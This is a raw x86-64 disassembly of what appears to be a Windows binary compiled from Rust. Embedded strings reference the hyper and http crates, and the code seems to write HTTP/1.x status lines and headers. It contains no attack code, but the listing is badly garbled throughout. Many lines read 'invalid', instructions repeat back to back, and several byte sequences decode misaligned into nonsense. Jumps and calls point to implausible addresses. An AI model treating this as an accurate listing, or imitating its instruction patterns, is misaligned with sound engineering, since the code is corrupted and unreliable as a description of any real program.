jmp 0x140093fbb
lea rdx, [0x14012bd77]
mov edi, 5
mov rax, qword [r9 + 0xd8]
mov rsi, qword [r9 + 0xe8]
sub rax, rsi
cmp rax, rdi
jb 0x14009484d
mov rcx, qword [r9 + 0xe0]
add rcx, rsi
mov r8, rdi
call fcn.140106530
mov rcx, qword [rsp + 0x28]
add rsi, rdi
mov qword [rcx + 0xe8], rsi
cmp qword [rcx + 0xd8], rsi
je 0x140094872
mov rax, qword [rcx + 0xe0]
mov byte [rax + rsi], 0x20
inc rsi
mov qword [rcx + 0xe8], rsi
mov qword [rsp + 0x1a0], r14
movabs al, byte [0x38245c8b48000001]
movabs al, byte [0x38245c8b48000001]
lea rax, [rbx + 0x60]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x80], rax
lea rax, [0x140031b40]
mov qword [rsp + 0x88], rax
lea rax, [0x14012cc70]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
lea rdi, [rsp + 0x80]
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, [0x14012cc90]
lea rsi, [rsp + 0x1a0]
lea r8, [rsp + 0xb0]
mov rcx, rsi
call fcn.140013990
movzx eax, byte [rbx + 0xd8]
cmp eax, 1
je 0x140094128
cmp eax, 2
je 0x140094106
cmp eax, 3
mov r10, qword [rsp + 0x28]
jne 0x140094e06
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 7
clc
invalid
ja 0x14009414e
clc
invalid
mov r8d, 8
mov rcx, r14
call fcn.140108ba0
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x14009414e
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
mov esi, 0x50545448
invalid
xor dword [rsi], ebp
xor ebx, ebp
invalid
mov esi, 0x50545448
invalid
mov r10, qword [rsp + 0x28]
and al, 0x28
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
call 0x18809413c
sub eax, edx
call 0x18809413c
sub eax, edx
movabs rsi, 0x302e312f50545448
cmp rax, 8
jb 0x1400940ea
mov rax, qword [r10 + 0xe0]
mov qword [rax + rdx], rsi
add rdx, 8
mov qword [r10 + 0xe8], rdx
mov rax, qword [r10 + 0xd8]
sub rax, rdx
cmp rax, 1
invalid
jbe 0x140094894
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
add cl, byte [rcx - 0x77]
xchg edx, eax
call 0x188094191
mov eax, dword [rsp + 0x38]
add cl, byte [rcx - 0x77]
xchg edx, eax
call 0x188094191
mov eax, dword [rsp + 0x38]
mov rcx, qword [rax + 0xd0]
test rcx, rcx
je 0x14009428e
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
jns 0x1400941c1
add byte [rax], al
cmp qword [rcx + 0x18], 0
je 0x14009428e
add byte [rdi], cl
test dh, bl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rcx]
add dword [rax - 0x75], ecx
or byte [r8 - 0x46], cl
jmp 0x1ba6de1ac
invalid
invalid
mov rcx, qword [rcx + 8]
movabs rdx, 0x3eeaa77a649feee9
jp 0x140094166
invalid
invalid
jp 0x140094166
invalid
xor r8d, r8d
movdqa xmm0, xmmword [0x140113a40]
pcmpeqd xmm1, xmm1
movabs rdi, 0x395f5a8b89dfecb7
mov r9, rdx
and r9, rcx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
nop word cs:[rax + rax]
test r10w, r10w
je 0x140094240
tzcnt esi, r10d
lea r11d, [r10 - 1]
and r11d, r10d
mov r10d, r11d
add rsi, r9
and rsi, rcx
shl rsi, 5
mov r11, rax
sub r11, rsi
cmp qword [r11 - 0x20], rdi
loopne 0x14009429f
invalid
loopne 0x14009429f
invalid
cmp qword [r11 - 0x18], rdx
jne 0x140094200
jmp 0x140094263
nop dword [rax + rax]
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
mov r10, qword [rsp + 0x28]
jne 0x14009428e
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x1400941dd
mov rsi, qword [r11 - 0x10]
mov rax, qword [r11 - 8]
mov rcx, rsi
call qword [rax + 0x18]
cmp rax, rdi
mov r10, qword [rsp + 0x28]
jne 0x14009428e
movabs rax, 0x3eeaa77a649feee9
cmp rdx, rax
je 0x1400948b3
test bpl, bpl
je 0x1400945a8
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x148], rcx
mov rcx, qword [rax + 0x28]
xor ebp, ebp
and byte [rax - 0x77], cl
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rcx], sil
in eax, dx
mov qword [rsp + 0x118], rcx
test rcx, rcx
sete bpl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x170], rcx
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x1c8], rax
add ebp, ebp
xor r13d, r13d
jmp 0x1400942f2
add byte [rsi + 0x41], spl
mov dword [rsp + rdi], 0x83480a0d
add edi, 2
mov qword [r10 + 0xe8], rdi
cmp rbp, 2
jne 0x140094320
mov word [r12 + rdi], 0xa0d
add rdi, 2
add edi, 2
add edi, 2
mov qword [r10 + 0xe8], rdi
cmp rbp, 2
jne 0x140094320
inc r13
cmp r13, qword [rsp + 0x118]
jae 0x1400948cb
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
add ecx, dword [rsp + 0x148]
add ecx, dword [rsp + 0x148]
jmp case.0x140031ef2.1634
add byte [rax], al
add byte [rax], al
cmp r13, qword [rsp + 0x118]
jae 0x140094d71
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
cmp rbp, 1
jne case.0x140031ef2.1634
mov rax, qword [rsp + 0x128]
cmp rax, qword [rsp + 0x170]
jae case.0x140051497.231
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x1c8]
lea rbx, [rdx + rax*8]
cmp qword [rdx + rax*8 + 0x10], 0
je 0x1400943af
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x128], rax
mov ebp, 1
jmp 0x1400943b4
mov rax, qword [rcx + 8]
mov qword [rsp + 0x128], rax
cmp qword [rcx], 1
mov ebp, 0
add byte [rax - 0x7d], cl
invalid
add dword [rax - 0x73], ecx
pop rcx
sbb bl, ch
invalid
add byte [rax - 0x7d], cl
invalid
mov ebp, 2
add rbx, 0x20
add rcx, 0x40
call fcn.140039c20
mov rsi, rax
mov r12, rdx
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
mov rax, r15
sub rax, rdi
cmp rax, rdx
jb 0x14009452c
test r12, r12
je 0x1400944a1
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x150], rbp
mov qword [rsp + 0x138], r13
mov r15b, 0x2d
xor r13d, r13d
jmp 0x140094447
and r15b, bl
shl r15b, 5
xor r15b, bpl
mov rax, qword [r9 + 0xe0]
mov byte [rax + rdi], r15b
inc rdi
mov qword [r9 + 0xe8], rdi
add byte [rcx - 1], cl
invalid
cmp r12, r13
je 0x140094480
add byte [rcx - 1], cl
invalid
movzx ebp, byte [rsi + r13]
cmp r15b, 0x2d
sete r15b
lea eax, [rbp - 0x61]
cmp al, 0x1a
setb bl
cmp rdi, qword [r14]
jne 0x140094420
mov rcx, r14
call fcn.1400ba070
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
jmp 0x140094420
mov r15, qword [r14]
mov rax, r15
clc
sub rax, rdi
mov r13, qword [rsp + 0x138]
add byte [rax], al
add byte [rax], al
mov rbp, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x130]
cmp rax, 1
jbe 0x14009454b
mov r12, qword [r9 + 0xe0]
mov word [r12 + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov rdx, qword [rbx + 8]
mov rsi, qword [rbx + 0x10]
mov rax, r15
sub rax, rdi
cmp rax, rsi
jb 0x140094574
lea rcx, [r12 + rdi]
mov r8, rsi
call fcn.140106530
add byte [rax + 1], cl
test dword [rbx + rcx*4 + 0x54], 0x89492824
mov edx, 0xe8
add byte [rax + 1], cl
test dword [rbx + rcx*4 + 0x54], 0x89492824
mov edx, 0xe8
sub r15, rdi
cmp r15, 1
inc dword [rcx]
inc dword [rcx]
ja 0x1400942e0
mov r8d, 2
mov rcx, r14
int1
int1
mov rdx, rdi
call fcn.140108ba0
mov r10, qword [rsp + 0x28]
mov r12, qword [r10 + 0xe0]
add byte [rax], al
add byte [rcx - 0x75], cl
mov edx, 0xe8
add byte [rax], al
add byte [rcx - 0x75], cl
mov edx, 0xe8
jmp 0x1400942e0
dec dword [rcx + rcx*4 - 0xf]
mov rcx, r14
mov ecx, esi
mov rdx, rdi
mov r8, r12
call fcn.140108ba0
invalid
invalid
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
mov rdi, qword [r9 + 0xe8]
jmp 0x1400943f2
invalid
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140108ba0
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
jmp 0x1400944ab
mov rcx, r14
mov rbx, rdx
mov rdx, rdi
mov r8, rsi
mov r12, r9
call fcn.140108ba0
mov rdx, rbx
mov rdi, qword [r12 + 0xe8]
mov r15, qword [r12 + 0xd8]
mov r12, qword [r12 + 0xe0]
jmp 0x1400944db
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x128], rcx
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rcx], sil
fisttp dword [rax - 0x77]
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rcx], sil
fisttp dword [rax - 0x77]
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
sete bl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x118], rcx
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x148], rax
add ebx, ebx
xor r13d, r13d
jmp 0x140094608
mov rax, qword [r10 + 0xe0]
mov word [rax + rdi], 0xa0d
add rdi, 2
mov qword [r10 + 0xe8], rdi
cmp rbx, 2
jne 0x140094640
inc r13
cmp r13, qword [rsp + 0x130]
jae 0x1400948cb
mov qword [rsp + 0x138], r13
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
jmp 0x1400946b0
cmp r13, qword [rsp + 0x130]
jae 0x140094d88
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
cmp rbx, 1
mov qword [rsp + 0x138], r13
jne 0x1400946b0
mov rax, qword [rsp + 0x150]
cmp rax, qword [rsp + 0x118]
jae 0x140094db6
add byte [rax], al
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x148]
lea rbp, [rdx + rax*8]
cmp qword [rdx + rax*8 + 0x10], 0
je 0x1400946cf
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x150], rax
mov ebx, 1
jmp 0x1400946d4
mov rax, qword [rcx + 8]
mov qword [rsp + 0x150], rax
cmp qword [rcx], 1
mov ebx, 0
adc rbx, 1
lea rbp, [rcx + 0x18]
jmp 0x1400946d8
mov ebx, 2
add rbp, 0x20
add rcx, 0x40
call fcn.140039c20
mov r12, rax
mov rdi, rdx
mov rcx, qword [rsp + 0x28]
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
mov rax, r13
sub rax, r15
cmp rax, rdx
jb 0x1400947c1
mov rsi, qword [rcx + 0xe0]
lea rcx, [rsi + r15]
mov rdx, r12
mov r8, rdi
call fcn.140106530
mov r9, qword [rsp + 0x28]
add rdi, r15
mov qword [r9 + 0xe8], rdi
mov rax, r13
sub rax, rdi
cmp rax, 1
jbe 0x1400947e7
mov word [rsi + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov r15, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
sub r13, rdi
cmp r13, r12
jb 0x140094817
mov r13, qword [rsp + 0x138]
add rsi, rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.140106530
add rdi, r12
mov r10, qword [rsp + 0x28]
mov qword [r10 + 0xe8], rdi
mov rax, qword [r10 + 0xd8]
sub rax, rdi
cmp rax, 1
ja 0x1400945f0
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140108ba0
mov r10, qword [rsp + 0x28]
mov rdi, qword [r10 + 0xe8]
jmp 0x1400945f0
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.140108ba0
mov rcx, qword [rsp + 0x28]
and al, 0x28
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
jmp 0x140094709
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140108ba0
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
mov r13, qword [r9 + 0xd8]
add byte [rax], al
mov rsi, qword [r9 + 0xe0]
jmp 0x14009473e
mov rcx, r14
int1
mov rdx, rdi
mov r8, r12
mov rdi, r9
call fcn.140108ba0
mov rsi, qword [rdi + 0xe0]
mov rdi, qword [rdi + 0xe8]
jmp 0x140094763
mov rcx, r14
call fcn.140108ba0
mov r9, qword [rsp + 0x28]
jmp 0x140093ef8
mov rcx, r14
mov rbx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140108ba0
mov r9, qword [rsp + 0x28]
mov rdx, rbx
mov rsi, qword [r9 + 0xe8]
jmp 0x140093fd5
jmp 0x140094003
mov r8d, 2
mov rcx, r14
call fcn.140108ba0
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x140094178
invalid
mov rcx, qword [rsp + 0x38]
mov rdx, rsi
mov r8, r14
mov r9d, ebp
jmp 0x1475b13ad
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
jmp 0x1475b13ad
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
cmp rax, 1
jbe case.0x140051497.230
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r10 + 0xe8], rdx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x28]
mov qword [rbx + 0x28], 0
test rdi, rdi
je 0x140094955
add rsi, 0x30
jmp 0x14009493b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x140094955
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140094920
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x140094920
mov rsi, qword [rbx + 0x38]
mov rdi, qword [rbx + 0x40]
mov qword [rbx + 0x40], 0
mov qword [rbx + 0x40], 0
test rdi, rdi
je 0x14009498b
add rsi, 0x38
nop
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x140094970
mov qword [rbx], 0
mov rax, qword [rbx + 0x50]
mov eax, dword [rbx + 0x50]
mov eax, dword [rbx + 0x50]
test rax, rax
je 0x140094a0f
mov rcx, qword [rbx + 0x48]
lea rdx, [rax - 1]
movabs r8, 0x3fffffffffffffff
and r8, rdx
mov rdx, rcx
cmp r8, 7
jb 0x1400949fb
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rdx, [rcx + r9*4]
xor r10d, r10d
movdqa xmm0, xmmword [0x1401137e0]
nop word cs:[rax + rax]
movdqu xmmword [rcx + r10*4], xmm0
movdqu xmmword [rcx + r10*4 + 0x10], xmm0
add r10, 8
cmp r9, r10
jne 0x1400949e0
cmp r8, r9
je 0x140094a0f
lea rax, [rcx + rax*4]
nop
mov dword [rdx], 0xffff
add rdx, 4
cmp rdx, rax
jne 0x140094a00
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
jl 0x140094a3c
mov r15, qword [rsp + 0x50]
jl 0x140094a3c
mov r15, qword [rsp + 0x50]
mov rax, qword [rsp + 0x178]
cmp rax, 2
mov rcx, qword [rsp + 0x28]
je 0x140094ad9
lea rdx, [rsp + 0x190]
mov rsi, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
mov esp, dword [rsp + 0x188]
add byte [rax - 0x75], cl
mov ah, 0x24
add byte [rcx], 0
add byte [rbx + rcx*4 - 0x5c], cl
mov esp, dword [rsp + 0x188]
test rax, rax
je 0x140094ab9
invalid
invalid
mov esp, dword [rsp + 0x188]
test rax, rax
je 0x140094ab9
mov rax, qword [r12 + 0x10]
and al, 0x10
adc byte [rax - 1], cl
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
or al, 6
or al, 6
add rcx, 0x10
call qword [r12 + 0x68]
mov rdx, qword [rsp + 0x190]
mov rax, qword [r12 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [r12 + 0x80]
mov rax, qword [rsp + 0x180]
lock dec qword [rax]
mov rcx, qword [rsp + 0x28]
jne 0x140094ad9
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
call fcn.140004950
jmp 0x140094ad4
mov rcx, rsi
call qword [r12 + 0x68]
mov rdx, qword [rsp + 0x190]
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
call qword [r12 + 0x80]
mov rcx, qword [rsp + 0x28]
cmp r14, 2
jne 0x140094bc7
add cl, byte [rdi]
test esp, esp
add byte [rax], al
add byte [rax - 0x7d], cl
mov ecx, 0xc0
add byte [rcx + rdx + 0x48], dh
add ecx, 0xc0
cmp qword [rcx + 0xc0], 0
je 0x140094afe
add rcx, 0xc0
call fcn.140035b40
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 0xc0], rdi
mov dword [rcx + 0xc0], edi
mov qword [rcx + 0x90], 5
mov rax, qword [rsp + 0x168]
mov qword [rax], 2
mov rdi, qword [rsp + 0x38]
cmp byte [rdi + 0xb8], 0xa
jb 0x140094b4d
cmp qword [rdi + 0xc8], 0
je 0x140094b4d
mov r8, qword [rdi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x160]
cmp byte [rax], 2
jb 0x140094b82
mov rsi, qword [rdi + 0x68]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x88]
mov rax, qword [rdi + 0x70]
mov rdx, qword [rdi + 0x78]
mov r8, qword [rdi + 0x80]
call qword [rax + 0x10]
lea rcx, [rdi + 0xa8]
mov rax, qword [rdi + 0x90]
mov rdx, qword [rdi + 0x98]
mov r8, qword [rdi + 0xa0]
call qword [rax + 0x10]
mov rcx, rdi
call fcn.140036d60
jmp 0x140094d22
mov rax, qword [rsp + 0x38]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xe0], xmm3
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rsi, [rcx + 0x10]
cmp dword [rcx + 0x10], 3
jns 0x140094c2a
invalid
je 0x140094c25
jns 0x140094c2a
add esi, dword [rax + rcx + 0x48]
mov ecx, esi
mov rcx, rsi
call fcn.140036d60
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x50], xmm0
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x50], eax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
movdqa xmm2, xmmword [rsp + 0xd0]
movdqa xmm3, xmmword [rsp + 0xe0]
movdqu xmmword [rsi + 0x30], xmm3
movdqu xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov rax, qword [rsp + 0x168]
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
mov rdi, qword [rsp + 0x38]
cmp byte [rdi + 0xb8], 0xa
jb 0x140094cb5
cmp qword [rdi + 0xc8], 0
je 0x140094cb5
mov r8, qword [rdi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x160]
cmp byte [rax], 2
jb 0x140094cea
mov rsi, qword [rdi + 0x68]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x88]
mov rax, qword [rdi + 0x70]
mov rdx, qword [rdi + 0x78]
mov r8, qword [rdi + 0x80]
call qword [rax + 0x10]
lea rcx, [rdi + 0xa8]
mov rax, qword [rdi + 0x90]
mov rdx, qword [rdi + 0x98]
mov r8, qword [rdi + 0xa0]
call qword [rax + 0x10]
mov rcx, qword [rdi + 0xd0]
call fcn.140003040
adc ah, bl
idiv bh
adc ah, bl
idiv bh
movaps xmm6, xmmword [rsp + 0x1d0]
movaps xmm7, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, 2
mov rcx, r14
call fcn.140108ba0
mov r10, qword [rsp + 0x28]
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
mov rdx, qword [r10 + 0xe8]
jmp 0x1400948e6
sti
invalid
invalid
sti
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
add eax, 0xadf68
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, qword [rsp + 0x118]
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r13
push rcx
fisttp word [rdx]
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, qword [rsp + 0x130]
call fcn.1401085b0
invalid
add byte [rbp + rcx*4 + 5], cl
push rdx
fisttp word [rdx]
add byte [rax - 0x77], cl
ror dword [rax - 0x75], 0x94
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, qword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
add al, ch
cli
invalid
invalid
invalid
and al, 0x70
add dword [rax], eax
add al, ch
cli
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
add eax, 0xadf3b
or al, byte [rax]
mov rcx, rax
mov rdx, qword [rsp + 0x118]
call fcn.1401085b0
invalid
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r13
add byte [rcx + rcx*4 - 0x17], cl
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r13
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
scasd eax, dword [rdi]
or al, byte [rax]
mov rcx, r13
mov ecx, ebp
call fcn.1401085b0
mov byte [rsp + 0x1a0], al
mov qword [rsp + 0x80], rsi
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140031ac0]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea eax, [0x140031ac0]
add eax, 0xfff9cca4
mov qword [rsp + 0x88], rax
lea rax, str.unexpected_request_version:
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
mov dword [rsp + 0xb8], 1
mov qword [rsp + 0xd0], 0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xc024
add byte [rax - 0x39], cl
invalid
test byte [rax + rcx*8], ah
and al, 0xc8
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
and al, 0xc8
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
lea edx, [0x14012ccf0]
mov bh, byte [rsi + 9]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
in eax, dx
invalid
lea rcx, [rsp + 0xb0]
call fcn.140108560
invalid
add byte [rax - 0x73], cl
add eax, 0xaaf96
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
scasb al, byte [rdi]
or al, byte [rax]
scasb al, byte [rdi]
or al, byte [rax]
lea r9, [0x14012b618]
lea r8, [rsp + 0x37]
mov edx, 0x17
invalid
add byte [rax], al
add al, ch
cmp r8b, byte [rdi]
invalid
invalid
lea rax, [rsp + 0x110]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x48], rax
and al, 0x48
dec dword [rax - 0x77]
and al, 0x48
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0xb0], rax
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xc8], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xc8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov dword [rsp + 0xc8], 2
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
or al, byte [rax]
lea rcx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
call fcn.140108560
push rdx
invalid
lea r8, [0x14012a2b8]
mov edx, 0xf
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140108620
call fcn.140010970
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
mov ecx, 0x8948000a
and al, 0x20
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013f8e8]
lea ecx, [0x14013f8e8]
lea ecx, [0x14013f8e8]
lea r8, [rsp + 0x37]
and al, 0x37
mov edx, 0x17
call fcn.1401088e0
mov ecx, 1
mov rdx, rdi
cli
cli
call fcn.1401082a0
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
mov qword [rsp + 0x110], r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
and al, 0x40
lea rax, [0x1400e9f80]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xb0], rax
invalid
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
